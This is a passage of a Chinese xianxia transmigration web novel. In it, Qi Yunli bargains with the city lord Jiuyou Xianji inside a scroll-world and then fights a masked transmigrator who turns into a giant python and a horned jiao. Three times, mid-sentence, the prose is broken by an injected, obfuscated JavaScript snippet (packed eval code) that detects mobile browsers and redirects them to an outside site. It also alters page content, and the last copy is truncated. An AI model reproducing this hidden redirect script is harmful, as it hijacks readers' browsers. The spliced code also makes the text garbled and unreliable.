他们不知不觉就走到天府之国靠后的一座府邸,墙面被打扫得干干净净,挂着不少装饰品,一看就不同寻常。 当然最关键的是门口立着大石头,上面写着“仙府”二字。 这个府邸远离刚才巨蟒打斗的城门一带,虽然没有护卫在附近驻守,但一走近府邸,周遭动静瞬间就消失,明显是有阵法。 鼎山弟子不敢大意,但齐云鲤无所畏惧地往里直走,里面空荡荡的,半天也没人出来阻拦。 众人一路没见到人影,倒是见到不同院落景色迥然不同,似乎连季节都截然不同,有的春花烂漫,有的落叶满地。这种景色差异不可能是自然生成,只可能是受阵法影响。 来到最后一间小院,只见院子里的景色与府外没有区别,都是绿树成荫、草木青翠。院子里挂着各种灯笼、缎带、帘子,一个紫衣童子坐在石头上吃桃,看起来很是乖巧。 不过当他看到齐云鲤几人顿时就大惊失色,紧紧握着手里的桃子就冲进房门。 “——仙姬,有外人闯入!” 屋内传出一个懒散女声:“还有人胆敢闯入?” 齐云鲤也不等着,径直走进去就说:“刚才城内一片混乱,两条蛇打得天翻地覆,你倒是挺闲啊?” 这时她能看清屋内场景,只能说是眼花缭乱。各种精美摆设,各色装饰应有尽有,不过最华贵的是里面那个女子。 绫罗绸缎、珠宝美玉都不过是小菜一碟,她周身缭绕着云雾彩霞,仿佛是天上仙子,随手都是修道人士梦寐以求之物。 可齐云鲤没有被迷住双眼,因为她就不是修道人士。 “你是何人,竟敢擅自闯入?!”屋内女子闻言转头看过来,容貌清丽,衣着华贵,模样看起来跟舞女的天女相一模一样。 齐云鲤想到之前木墙下那些人对舞女的态度,猜出个大概。 于是说:“刚才巨蟒闯入天府之国,你一无所知,现在还有什么大惊小怪的。” “你口口声声都是巨蟒,我看就是你放进来的!”女子伸手一指。 齐云鲤笑道:“之前巨蟒在城门那边造成破坏,现在我可以在这边造成破坏。” “你这么嚣张是要夺城主之位?”女子拍案而起,周身云烟猛然一炸。 齐云鲤也不怕:“难道你还能反抗?” 这种明晃晃的凶悍其实只是个笑话。 真正危险的东西都不会主动让你发现。 “丹青宝卷位于鼎山,就看你能不能承受鼎山攻击。”女子神色一敛,似乎说出什么不可战胜之物。 齐云鲤拿出龙骨令又笑起来:“我就是鼎山的。” 屋内情景看得鼎山弟子有点目瞪口呆,他们是来干什么的? ——怎么开始吵架了? 刚才还担心遭到城主驱逐,怎么她会跟青湖师叔吵起来? 众人一脸迷糊,卫池却说:“桌上的盒子里有个卷轴,包装精美,估计跟离开此地有关。” 几人闻言转头,只见屋内桌上放着长条形盒子。盖子打开,露出里面的精美卷轴,一看就知不是凡品。 “师父,鼎山阵法已经被你毁坏很多了。” 齐云鲤正吵得游刃有余,身后突然传来一个声音,又气得她深吸一口气——这人干什么,专门来砸场子? “不过此地阵法不用师父出手,本身就已濒临崩溃。” 卫池话音一转,城主闻言一愣,齐云鲤瞬间回想起之前两人的打斗。 当时打得那叫一个狠啊。 “丹青宝卷位于鼎山,自然会受到鼎山龙息影响,龙息强弱也会导致丹青宝卷的情况变化。” 卫池开口便说到鼎山龙息,齐云鲤愣了一下——还能说这么远? 不过感觉像是一拳打在城主身上。 “丹青宝卷内部阵法铺天盖地,想必也有防御龙息影响的考量,不过还没清楚具体情况就布下阵法,带来的只有死路。” 似乎是被说到痛处,城主沉默不语。 齐云鲤见此情形更是一愣——还能这样? 那城主似乎都被打得毫无还手之力。 “鼎山有海量龙息,要想不被影响只能用相同等级的力量来平衡,丹青宝卷能安然呆在这里,想必力量是不缺的。” 城主眉头一皱,不过依然没有说话。 齐云鲤仿佛看到她已经倒地不起。 “力量不缺,可是要怎么布置还是个难题,目前看来问题就出自这里。” “还请阁下指教。”城主说得很客气,齐云鲤都有点目瞪口呆。 不过最让她震惊的是似乎卫池还在帮自己说话? 帮忙说话的卫池其实心里已有判断。 路上那个青湖跟孙仲礼胡说八道一通,结果说得他深信不疑。之后他又去跟鼎山弟子说,将他们全都说服。 所以他此时出面,之前划伤她的事就算扯平。 轮回近百次的经验告诉他,福祸相依是真的。 之前打一架没有结果,现在也算继续打。 ——既然简单几个字听不懂,那就胡说八道。 卫池学着之前那个青湖跟孙仲礼的说话方式继续说:“城外荒野环境多变,且变化毫无规律,城内却没有那些变化,想必阵法核心在城内。” 他语速很慢,齐云鲤感觉似乎有能利用的东西,转头看向城主,她像是有点一言难尽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006826|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不过城内核心不稳,容易遭到破坏。” 卫池稍一停顿,齐云鲤就插话:“刚才巨蟒破坏力惊人,如果不是我拦着,它能一路打到这里来。” 城主一脸嫌弃地看过来,仿佛是让她闭嘴。 卫池说:“阵法核心稳不稳,关键在于阵法怎么排布。” “阁下有何要求?”城主一脸心服口服。 “这边几位鼎山弟子需要马上离开贵宝地。”卫池伸手示意。 “他也是,拿笔墨纸砚给他画个图,”齐云鲤接着说,见城主还是一脸嫌弃,又补充,“天府之国无法自己解决问题,但鼎山可以出面把这里的条理弄清楚。既然丹青宝卷在鼎山,那么彼此也应该互相照应,刚才为救一个鼎山弟子因此有点冲突,还望见谅。不过之后鼎山弟子布阵挡住巨蟒攻击,也算扯平。” 她洋洋洒洒说一大堆,态度明显缓和。 不过城主的嫌弃丝毫不减:“丹青宝卷是鼎山用来震慑妖魔鬼怪的,原本就是丹青宝卷帮助鼎山,但鼎山中人反而擅自闯入又带来祸端。” 这句话就有点不依不饶。 卫池见状又说起来:“鼎山龙息鼎盛,又受到妖魔鬼怪留下的骚乱影响,也没见丹青宝卷解决那些问题。我们因此进入丹青宝卷,天府之国不但没出手相助,反而抽离鼎山弟子魂魄,巨蟒出现在此你们又无法解决,还得鼎山出面。” 他一边在纸上画阵法布局,一边反驳。 可城主还是一副稳操胜券的模样:“丹青宝卷有个舞女相当棘手,一旦跑出天府之国,后果不敢设想。” “已经被我师父打了一顿,也就那样。”卫池画完就将东西递给紫衣童子。 齐云鲤补充:“稍微打了一下,之后还算有礼貌吧。” 城主似乎极为震惊,立即施法确认,然后态度马上缓和;“二位稍安勿躁,我等当然无法对付那条巨蟒,还请阁下出手相助。毕竟丹青宝卷是鼎山用来收容妖魔鬼怪的地方,如果有什么闪失,对鼎山也有害。” “我可以对付那条巨蟒,但其他人要先离开。那个舞女我可以打一顿,你也不在话下。”齐云鲤说。 她又有点吵架的势头。 不过城主沉默片刻才慢慢说:“在下九游仙姬。” “青湖,青字辈。”齐云鲤强调。 “——你怎么跑这里来了?” 九游仙姬有些错愕,似乎知道青湖这个人。 “你有意见?”齐云鲤没想到在这里还有人知道青湖。 九游仙姬态度明显积极很多,她拿出放在桌上盒子里的卷轴在手心转了一圈,然后递给卫池:“用这个可以离开丹青宝卷。” 卫池接过卷轴,谁知九游仙姬手上仍有一个。 她将卷轴放回盒子,然后说:“只能用一次,不要浪费。” 在九游仙姬指引下,众人在空地打开卷轴,接着就被卷轴吸入其中,然后又被卷轴吐在鼎山,众人一落地,卷轴就焚烧殆尽。 而另外一边,九游仙姬眉头紧缩:“你进来干什么?” 听起来像是青湖不该来此。 “那东西不好对付,已经挑事好几次。”齐云鲤轻描淡写地说着,看来九游仙姬跟青湖还有关系。 九游仙姬无可奈何:“我招谁惹谁了,真的都是在兢兢业业干活……” “既然那东西进来,干活的内容就要调整,不然丹青宝卷能否完好都是问题。”齐云鲤不知道她什么意思,只能说得很严重。 九游仙姬看着卫池画的示意图:“调整阵法布局还不够?” “这只是其一,加强防御,”齐云鲤抬头,“其二就是加强攻击。” 加强攻击是顺理成章的事,不过九游仙姬说得有点勉强:“这里能打的就一个舞女……” “现在还有我,不过光指望我一个人也不行,”齐云鲤伸手示意,“仅凭我一人,无法对巨蟒造成什么实质性伤害。可若是调动城中那两尊雕像,起码可以打得旗鼓相当。” 九游仙姬没说话,沉默很久才问:“你怎么知道的?” “那边刚刚帮了我。”齐云鲤很坦然。 九游仙姬闻言一惊,沉默片刻才说:“那是从外面进来的,不过她们可以帮丹青宝卷。” 这是个前所未有的说法,丹青宝卷位于鼎山却基本没什么人知道,有人大张旗鼓从外面进来,看来调查得很仔细。 而且那个蒙眼女子很像白玉兰下的那个人。 “那是什么人?”齐云鲤感觉就要触及不可告人的秘密。 九游仙姬说:“有一个叫云玑子,蒙眼睛的那个不知道。” “这还不知道?”齐云鲤很奇怪。 九游仙姬略微解释:“你可以叫她瞎子。” 这称呼相当随便,齐云鲤都无话可说,看来在这边打探不到什么消息,于是就不再继续问。 她让九游仙姬回去做准备,自己则在院子里想问题。 面具人一路追进丹青宝卷,可见跟青湖有很深的仇。九游仙姬的反应表明她知道青湖这个人,但此前没有正面接触。 丹青宝卷在小说里从未出现,而且里面的情况也跟小说设定不符。 那两尊雕像是什么来头,怎么有力量跟面具人一决高下?而且香火鼎盛,看来在天府之国很有威望。 至于卫池,虽然之前打了一架,不过后来又帮忙说话。 即使挺莫名其妙,但也暂时无害。 也不知道那人在干什么,阴晴不定。 时而杀气腾腾,时而出手相助。 齐云鲤不清楚小说为什么断更,不过可以确定男主绝对有病。 22. 情报 小院里花草丛生、绿树成荫,左侧还有竹林,俨然一副苍翠欲滴的模样。但府邸外的生机骤然衰减,虽能看到绿叶,但稀少很多,有时还能看到枯萎小草。 天府之国外面的差异更是明显,那就是纯粹的荒野。 虽有植被,但大多呈枯黄之象,而且都很低矮,完全看不到树木。 看起来像是城外一片荒凉,府邸内有各种景致,最核心的位置生机勃勃。中间的天府之国仿佛是过渡地带,一侧生机盎然,另一侧枯黄衰败。 按理来说不可能出现这种现象,因此只能是人为。 齐云鲤不知道其中奥妙,不过九游仙姬看起来很重视青湖,她可以趁机一问。 九游仙姬从房里出来,说是已经通报那两位,之后她们会出力攻击。 她周身仍有云雾彩霞环绕,不过之前感觉是装饰,现在却觉得像是累赘。 种种稀奇古怪的事都出现在丹青宝卷,估计那个也非比寻常。 齐云鲤故作高深,指着九游仙姬身后缭绕的东西问:“这还不能停?” 她出声询问,云雾彩霞就随之一动,仿佛被风吹拂。 “外面荒野里还是偶尔有妖魔鬼怪出没,不得不防。”九游仙姬长叹一声,云雾彩霞的动静渐渐变小。 听起来像那个舞女是专门对付妖魔鬼怪的,九游仙姬跟天女相一模一样,应该有某种联系。之前她说自己在兢兢业业干活,估计也有这个意思。 “外面荒无人烟,城内还算热闹。”齐云鲤评价道。 九游仙姬又是一叹:“城里的妖魔鬼怪平时还算安分,只是偶尔会闹事。” 意思是丹青宝卷里的妖魔鬼怪大多都被收进城内,而九游仙姬的任务似乎就是看管他们。 又要抓又要看,负担有点大。 “一旦闹事由谁出面?”齐云鲤感觉这个麻烦挺大,九游仙姬承担不起。 “曾经是我出去制伏,累得都不想动,”九游仙姬唉声叹气一阵,然后提起精神,“不过后来云玑子和蒙眼女子的雕像出现,那些事就由她们解决,真是天大的帮助。” 她说着就转头强调:“你不要跟鼎山掌门说这件事,她们虽是外来者,可始终都在帮忙,没有任何危害。” 对修道门派来说,有外来者不是什么好事。 “莫名其妙出现的人你也信?”齐云鲤煞有其事皱起眉头。 九游仙姬有点急:“她们之前不是还帮了你吗?” 之前金光出现时,齐云鲤是跟舞女一起打巨蟒。 如今九游仙姬说出这句话,她就猜到舞女身份,大概是一人分饰两角。 “也许只是小恩小惠。”为了套出更多情报,齐云鲤装模作样怀疑起来。 九游仙姬急得背后云雾彩霞都搅成一团乱麻:“你还说要跟她们合作!” “目前也只是说说,”齐云鲤不慌不忙,“如果无法确定她们的立场,我当然要告诉鼎山掌门,毕竟事关重大。” 九游仙姬气得身后云雾彩霞都炸得干干净净,她紧皱眉头说:“你要是敢说出去,我就让你再也不能离开丹青宝卷。” “那你证明一下吧。”齐云鲤不怕这种小儿科的威胁。 “那两位来了以后这里就安定很多,天府之国的名字就是她们改的。说是蜀道之难,难于上青天,城内妖魔鬼怪就不容易被外面影响!” 九游仙姬声音很大,齐云鲤彻底沉默。 但不是被吓到,而是“蜀道之难,难于上青天”就不是这个世界的东西。 ——由此可见,那两个雕像背后的人也是穿书者。 因为《蜀道难》就不属于这个世界。 之前有面具人,之后有孙仲礼,结果现在又有两个神秘莫测的人,出现这么多穿书者仿佛是在搞活动。 不过石月观音看起来也不像发礼品的。 究竟是怎么回事? “效果看起来还不错,不过……”齐云鲤话音一顿,“丹青宝卷怎么会突然在鼎山弟子面前现身?这可不一般。” 她不知不觉说中一个关键,九游仙姬低头感慨:“丹青宝卷是为平息妖魔鬼怪的骚乱而存在,这边逐渐安定,结果外面突然出现可疑之处。” 九游仙姬说得很慢,齐云鲤不禁皱起眉头。 看起来丹青宝卷主要是为了安抚这一带妖魔鬼怪,卷轴内逐渐安定,卷轴外却突然出现可疑对象。 ——可疑对象只能是那个鼎山弟子。 齐云鲤说:“看来就是那条巨蟒。” 面具人并非第一次出现,但这次情况似乎特别严重,之前他都没有依附在别人躯体上。 附身在鼎山弟子身上,大概严重扰乱什么,这才引出丹青宝卷。 “你跟云玑子和蒙眼女子合作打他,不能告密!”九游仙姬很是激动。 齐云鲤只是问:“那个舞女呢?” “她主要是维持城内环境,你们去城外打!”九游仙姬强调位置。 “这里元气比较多,能不能借我一用?” 九游仙姬解释:“元气不是用来打架的,顶多就是帮忙恢复。” 这跟齐云鲤之前的遭遇相吻合,那几个被救居民抬手给出什么,她的抵抗力和防御力就明显上升,确实帮忙恢复。 “这么多元气是用来恢复什么?”她十分好奇。 “你以为鼎山的鼎是什么意思?”九游仙姬先问后答,“是煮东西的大锅。具体煮什么我不清楚,反正跟龙鼓论战有关。” 跟龙鼓论战有关,也就是跟真龙有关。 说来说去又跟化龙有关。 齐云鲤有点心力交瘁,不想再问。 谁知九游仙姬还说:“你又在干什么,那种东西还要丹青宝卷出来解决?” 这话说得齐云鲤哑口无言,实在没想到青湖默默无闻,其实是在干大事。 不过还有一件事,于是她问:“丹青宝卷里怎么还会变来变去?我之前差点在平地掉进悬崖。” “这都是受妖魔鬼怪影响,这里改名为天府之国就是为抵挡那种影响,”九游仙姬态度坦然,“元气或多或少能平息些影响,因此只有城外会变。” 也就是说等下出城之后,环境还会变来变去。 “一会儿我来解决,就这样吧。”齐云鲤只能叹气。 想起之前冬青让她化龙的事就头疼,原以为只是随口胡说,结果九游仙姬也说出类似的话。 化形比较简单,但化龙前所未有。 貌似青湖一心就是为了化龙,现在她用着这个躯体,要化龙的不就是她? 她突然觉得小说还是坑了好。 不过这种事也只是想一下,如今这种局面若是再恶化那就要天翻地覆。 蒙眼女子和云玑子的出现似乎也跟化龙有关。 齐云鲤实在无话可说。 她没说话,九游仙姬没意见,毕竟干活才是重点。 为了搞清巨蟒去向,她身后的云雾彩霞动来动去,貌似在搜索。 半个时辰之后九游仙姬大喊一声:“找到了!” 齐云鲤见她一脸兴奋,只能赶紧配合,随时听候差遣。 “这边小的有舞女帮你,大的有云玑子和蒙眼女子帮你,不过只有威胁到天府之国她们才会出手,”九游仙姬说出大致方位以后又强调,“那个人估计不会就此消停,离开丹青宝卷可能还没打完。” 这话很不吉利,仿佛出门之前专门有人咒你。 齐云鲤没说话,只是表情明显不满。 九游仙姬继续说:“那边看起来不通元气,出去之后你可以暂时让鼎山弟子用元气布阵,帮你疗伤其实就是对敌进攻。” 之前齐云鲤在解释元气时,那个鼎山弟子魂魄还是自己的,基本解释结束之后才被交换魂魄。 如果面具人本来就对此一无所知,确实还不清楚。 她说得天花乱坠,齐云鲤只是很疑惑:“他们已经离开,怎么还能用元气?” “他们在此运用过元气,所以周身还暂时带有,”九游仙姬解释说明,“只要你被打中也没事,那么有事的就是敌方。” ——说得好像能挨打还是件好事。 齐云鲤不禁想起之前在白鹭坪被青滔打来打去。 只能说没有一顿打是白挨的。 虽然无法理解,不过九游仙姬想怎么说就怎么说,反正也不指望那种事。 她关心的只有:“行吧,舞女会帮忙?” “她得维护天府之国外的平静,从而维持城内太平,所以会攻击可疑人士。” 齐云鲤想起之前跟舞女打了一架,不免皱眉问:“难道我可疑?” “你在什么地方都可疑。”九游仙姬十分确定。 ——青湖负责化龙,确实可疑。 不为人知还身负重任,怎么看都不正常。 她不再纠结于此,只是问:“被交换魂魄的鼎山弟子怎么办?” 天府之国也有交换魂魄一事,所以应该很熟练。 “在他周围带着这个东西,原有魂魄自会依附上去,”九游仙姬递过来一个环形挂坠,“将外来魂魄驱离,原有魂魄自己就能归位。” 齐云鲤拿到手里正要说话,九游仙姬又补充:“只能用一次。” “那我怎么出去?”齐云鲤问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011742|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九游仙姬递来一个卷轴,着重强调:“事态一旦扩大就赶紧出去,不要把天府之国毁了。” 她怒目圆瞪得仿佛要炸,齐云鲤只能赶紧离开小院出去打架。 此时还在城内,于是她又绕到两尊雕像那边诚心感谢。 虽然不知道身份,不过都是穿书者,事已至此也算同道中人。 齐云鲤觉得这两个雕像跟禁地阵法相关,因此决定出去之后去趟禁地。 当前情况紧急,她便不再逗留,而是直接出城,径直冲向九游仙姬告知的方位。天府之国热闹非凡,城外就安静得有点过分。 齐云鲤用阵法冲过去,路上遇到那个舞女,这时她不再是天魔相,因此就跟着一起移动。 两人冲到一个远离天府之国的地方就看到前方有人影。 那个人站在那里,正是那名鼎山弟子。 齐云鲤确定挂坠的位置就冲过去打起来,面具人此时不再化形,而是直接施法布阵。不过舞女也过来打他,一时让他分身乏术。 原以为双方会打得不可开交,结果面具人出乎意料好对付。 他似乎不会剑法,始终都在施法布阵,以功法修为来压齐云鲤和舞女。 只是如何打断施法布阵,齐云鲤已经驾轻就熟,毕竟被青滔打了十多天。 因此面具人的阵法时而有效时而无效,而且有效的基本伤害不大。 打了一段时间,面具人貌似忍无可忍,于是猛然化形成巨蟒。 这次的巨蟒比之前更加庞大,更加气势汹汹,仿佛是一道山脉横在那边。 齐云鲤和舞女跟巨蟒相比基本就是渺小蝼蚁。 双方大小有天壤之别,这要是还能用利器砍伤面具人,那就是天理难容。 因此在巨蟒面具人的追逐下,齐云鲤和舞女只能往回退。 身后就仿佛有一条山脉在腾挪转移,轰隆隆响个不停,货真价实的地动山摇。 幸亏地面又出现悬崖,巨蟒陷落下去,两人才有机会跑远一点。 这种时候她们两个当然打不过,只能请天府之国里的雕像出面。 于是两人朝着天府之国一路狂奔,看到城墙时,巨蟒使出功法向前方打去。 可前方不止齐云鲤和舞女,还有天府之国。 在混乱之中立住的天府之国危在旦夕,因此当汹涌澎湃的气浪席卷而来时,云玑子和蒙眼女子的雕像瞬间出手。 城中突然爆发出两道光芒,光芒这次没有彼此缠绕,而是像利箭一样射出,一箭击碎气浪,一箭刺中巨蟒。 巨蟒因剧痛而发出低吼,吼声并非出自咽喉,而是腹部震动而来。 不过那震动除了发出吼声,还带动四周旷野一起颤抖。 一时间天地都随之震动,宛如天崩地裂。 在这种动静下天府之国也不免晃起来,地面晃动带动土石晃动,带动砖瓦晃动。齐云鲤就快冲到城墙那边,突然望见城墙裂开一道口子。 口子一旦扩大,天府之国必定坍塌。 到时候城中妖魔鬼怪又会肆无忌惮胡作非为,这样那两尊雕像就白来了。 ——不能给那边添乱! 于是齐云鲤猛地往回冲,快接近巨蟒时就打开卷轴,卷轴将她跟巨蟒吸入其中,然后在鼎山吐出来。 双方落地又打起来,不过估计是化形消耗太大,巨蟒变回人形。 变成人就好打多了,齐云鲤没有懈怠,上去就是一剑。 可面具人的功法似乎骤然提升,之前还能被打断的施法布阵这时坚如磐石。 齐云鲤意识到这是龙息的作用,之前丹青宝卷里没有龙息,所以面具人的施法布阵总是被打断。如今这里龙息鼎盛,面具人自然如鱼得水。 ——她就不信龙息这么有效。 阵法覆盖范围内全是龙息之力,齐云鲤不信邪就冲过去,结果被打得有口难言,仿佛已经到弥留之际。 “不要冲动,我去叫人!”孙仲礼在不远处大喊。 “不用叫了,来不及……”孙峥湖无奈地说,“我就说我今天特别倒霉吧。” “生老病死都是人生常态,看开点就行……” 孙峥湖的话仿佛临终关怀。 在这句话下,几个鼎山弟子都有点战战兢兢,似乎命不久矣。 “倒霉的就你一个!”卫池大喊一声冲过来打面具人。 平平无奇的攻击就将面具人一连串阵法搅碎,那些阵法是面具人借龙息之力变出来的,而卫池就用人炉之火将其击碎。 人炉之火和龙息之力都来源于龙息。 反正都是龙息之力,那就看谁更狠。 23. 混战 卷轴在鼎山吐出众人就自行销毁。 不过这边消失无踪,那边却出现五个人和一条狐狸。 狐狸趴在地上休息,另外四个鼎山弟子在一旁打坐调息。之前在丹青宝卷布阵着实不容易,刚才又被卷轴一吸一吐,以至于都有点精疲力尽。 没有参与布阵的卫池则若无其事呆在一旁。 夜色下几个人打坐,那只狐狸醒来就一愣,随后化形成人。 “他们怎么回事?”孙峥湖有点搞不清。 卫池解释:“在丹青宝卷他们使用元气布阵,估计消耗有点大。” “怎么你没事?”孙峥湖十分疑惑。 “我去找你的躯体,跟他们兵分两路。” 这话一出孙峥湖就有点尴尬,一个资历深厚的鼎山中人还得新入门的鼎山弟子出手相救,说出去都会成为笑话。 “真是麻烦你了,感激不尽,”他说得很客气,“之后我拿一盒符咒给你,算是谢礼。” 符咒是修道人士的常用工具。 不过新入门的鼎山弟子还只有几张,顶多只能临时应急。 一些急性子可能早就用光。 若是手头有一盒符咒,那就方便很多。 “谢谢孙师兄。”卫池也很客气。 孙峥湖身为前辈,当然不能占便宜,于是马上说起来:“你身为人炉,虽然历经磨难,但也不完全是坏事。修道路上稀奇古怪的事数不胜数,你也算经验丰富,一旦碰到祸事,自然比别人冷静很多。” “今天这种事完全想不到……”卫池低头感叹。 “丹青宝卷里虽然都是妖魔鬼怪,但并非绝对有害,”孙峥湖见状便解释起来,“将他们放置在里面,也是为了磨去戾气,也许有朝一日还能成为帮手。” 这是意想不到的事,也许就跟龙息一样,有害也有利。 卫池回想一下刚才卷轴出现的位置,觉得丹青宝卷估计还在那一带。 孙峥湖又说:“只不过……” 他话还没说完,突然察觉到一丝危机,瞬间在鼎山弟子四周布下防御阵法。 没想到卷轴再次出现在夜色下,然后吐出一人一蟒。 巨蟒身形庞大,瞬间就将四周压垮,那四个鼎山弟子也都被砸醒。 一落地巨蟒就变回人形,卷轴吐出来的那个人冲过去就跟他打起来。 打斗的两人一个是青湖师叔,一个是鼎山弟子。 前者剑法凌厉,后者功法高深,孙峥湖之前没看到那两人打斗,这时灵感源源不断,立即就跟几个鼎山弟子讲解起来。 “打斗双方修为差距过大时,用剑法取胜是一个不错选择,因此你们要勤加练习鼎山剑法。附身的那个人看起来不擅长剑法,所以青湖师叔用鼎山剑法打他就行。”孙峥湖有感而发。 “我们今晚练剑还被你抓了……”一个鼎山弟子闷声说。 这话说得孙峥湖一时哑口无言,接着那边骤然闪过强光,那个鼎山弟子的阵法已经固若金汤。 任谁都知道这是无法用剑法解决的问题。 “不要冲动,我去叫人!”孙仲礼很是惊讶,大喊着跑远。 “不用叫了,来不及的,”孙峥湖无奈摇头,“我就说我今天特别倒霉吧。” 施法布阵到这种程度,已经不是寻常修道人士可以对付的。 他以为在丹青宝卷被抓就够倒霉,想不到还有更倒霉。 “生老病死都是人生常态,看开点就行……”倒霉事一见多,孙峥湖的心态也随之改变。 这句唉声叹气的话一出口,几个鼎山弟子就此沉默,就连跑出几步的孙仲礼都停下来,似乎已经知道无可奈何。 “倒霉的就你一个!” 鸦雀无声时,卫池大喊一声冲出去。 他只是用出平平无奇的鼎山剑法,就将那个人一连串阵法都搅碎。 没有人看出他在使用人炉之火。 新入门的鼎山弟子有这种实力相当匪夷所思。 但卫池是人炉,似乎就情有可原。 孙峥湖目瞪口呆,如果在此地使用人炉之火确实能破除对方阵法,可一个人炉使用人炉之火,这合理吗? 其他四个人也瞠目结舌,他就赶紧说:“这是人炉才可能打出来的效果,你们都是普通人,千万别痴心妄想。” “人炉不就是个炉子吗?”有人很疑惑。 孙峥湖顺势说:“炉子里什么都可以烧,就看你能不能烧到。” 人炉在世间是一种祸害般的存在,可这话却显得神通广大。 四个鼎山弟子疑惑不解,毕竟从没听过这种说法。 鼎山龙息鼎盛,与丹青宝卷里截然不同,因此面具人能利用的龙息无穷无尽。 不过卫池其实也一直在准备龙息的事,龙鼓论战时鼎山灭门,因此他调查很长时间,发现龙鼓论战跟龙息,甚至跟真龙有关。 虽然不清楚具体细节,但他一直在为此做准备。 如今还没到龙鼓论战,不过面具人已经妄动鼎山龙息,那就看谁的龙息之力更狠。 卫池出招特别狠,既伤敌也伤己,反正已经轮回近百次,他早就对死习以为常,就看面具人能不能扛得住。 面具人虽然深不可测,但他是个穿书者。 痛不欲生、撕心裂肺的事只在小说里见过。 ——亲身经历那是绝不可能的。 况且他也不是为了拼命来到这里。 但当下卫池就是在跟他拼命。 卫池出招时有很多杀招,而且看起来仿佛能顺势杀死他。 可那一招能要他的命,也能要你的命;看起来是你要他的命,实际上是他要你的命。要死就一起死,谁也别想活。 这是完全不要命的打法。 面具人当然无法对抗那种杀招,因此只能化形。 于是鼎山再次出现一条庞大巨蟒,身形大到将那一带树木全部压垮。孙峥湖和鼎山弟子赶紧逃离那边,不然已经成为肉饼。 齐云鲤站在巨蟒尾部,刚才完全没有机会出手,现在就只有她能出手。 而且对面那人化形成的巨蟒一次比一次大,再大下去最终可能堪比鼎山,稍有不慎就会被挤死。 只能说面具人的修为多得已经无法想象。 卫池依然在出招,不过对此时的巨蟒而言只是鸡毛蒜皮,连擦伤都没有。 就像是以个人之力打一条山脉,打得再狠也只能挖点土。 挖得再多也不过零星一点。 齐云鲤当然不会横冲直撞,而是根据形式随时判断调整。 当务之急是把巨蟒引开点,不然就快压塌禁地、白鹭坪、玄镜池那一带。 那可是鼎山的重要地带。 引蛇出洞是弄蛇者吹笛子将蛇引出来,使其昂首而舞。 齐云鲤没有笛子,不过她可以收拢附近龙息,以此为诱饵,引得巨蟒移动位置。面具人化形成巨蟒,功法消耗相当大,必须及时补充龙息做为后备力量。 于是她在前面跑,巨蟒在后面追。 之前还凶神恶煞的大蛇瞬间变成被逗弄的三岁小孩,缓慢移开关键位置。 一看那边免除被压塌的风险,齐云鲤就不再逗小孩。 个人之力难以给巨蟒造成伤害,但千百把长剑就截然不同。 她打不了巨蟒,难道白鹭坪的剑阵还打不了? ——就说没有一顿打是白挨的。 在白鹭坪被翻来覆去打的齐云鲤也摸出点剑阵精髓。 剑阵不会攻击鼎山中人,不过一旦有外来闯入者,那就是攻击对象。 此时那条巨蟒不是鼎山的,用剑阵打它还不容易? 于是在被追赶的途中齐云鲤猛然转身,跳上巨蟒头顶,然后拔剑刺下。 巨蟒由于紧随其后,在她跳跃间隙还向前冲出一截,因此这时齐云鲤刺进去的刚好是蛇头后的七寸。 七寸是蛇的心脏所在,齐云鲤那一剑又调动剑阵同时发力,霎时犹如千万把利刃扎下去。 虽然不是没被刺中过七寸,可同时有这么多利器刺中心脏部位属实要命。 巨蟒瞬间就缩小成普通蛇的大小,在地上翻滚。 齐云鲤落到地上看着那条挣扎扭曲的蛇,实在没想到效果这么好。 另一边的卫池也有点愣住,从没见面具人这么狼狈。 还在远处奔跑的孙峥湖和鼎山弟子也发现身后突然安静下来。 ——不过这都只是暂时的。 长蛇身形骤然变大,而且是蛟的形态。 这次蛟的头上还有一只角,笔直而短,犹如一把尖锐匕首。 头上有两只角的是龙,如今真龙消失,一只角的蛟就是最强形态。 齐云鲤想起青湖化龙的事就愣住,如果可以化龙是不是就天下无敌? 不过回应她的是猛然一踢,齐云鲤瞬间就被踢出三丈远。等她爬起来时,之前站立的位置已经变成废墟,蛟的尾巴停在那里。 蛟正在打青滔,青滔背后是千百道剑影,数不清的锋芒都直指那条蛟。 齐云鲤想到之前自己在使用剑阵,莫非是白鹭坪剑阵将青滔叫到这里? 不管起因如何,她发现眼下都轮不到自己。 无论是身披鳞甲的蛟还是背负剑影的青滔,此时都犹如龙形。 ——任何人见到此情此景,都只能被震撼。 虽然鼎山有龙息又有龙鼓论战,但谁也没亲眼见过龙形。 世间有蛇有蟒也有蛟,可真龙已经消失很多年。 即使画作上的龙从来不缺,但货真价实的龙谁都没见过。 书中说龙形有九似,头似驼,角似鹿,眼似兔,耳似牛,项似蛇,腹似蜃,鳞似鲤,爪似鹰,掌似虎。 描述得很详细,但当真按照这个方法画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 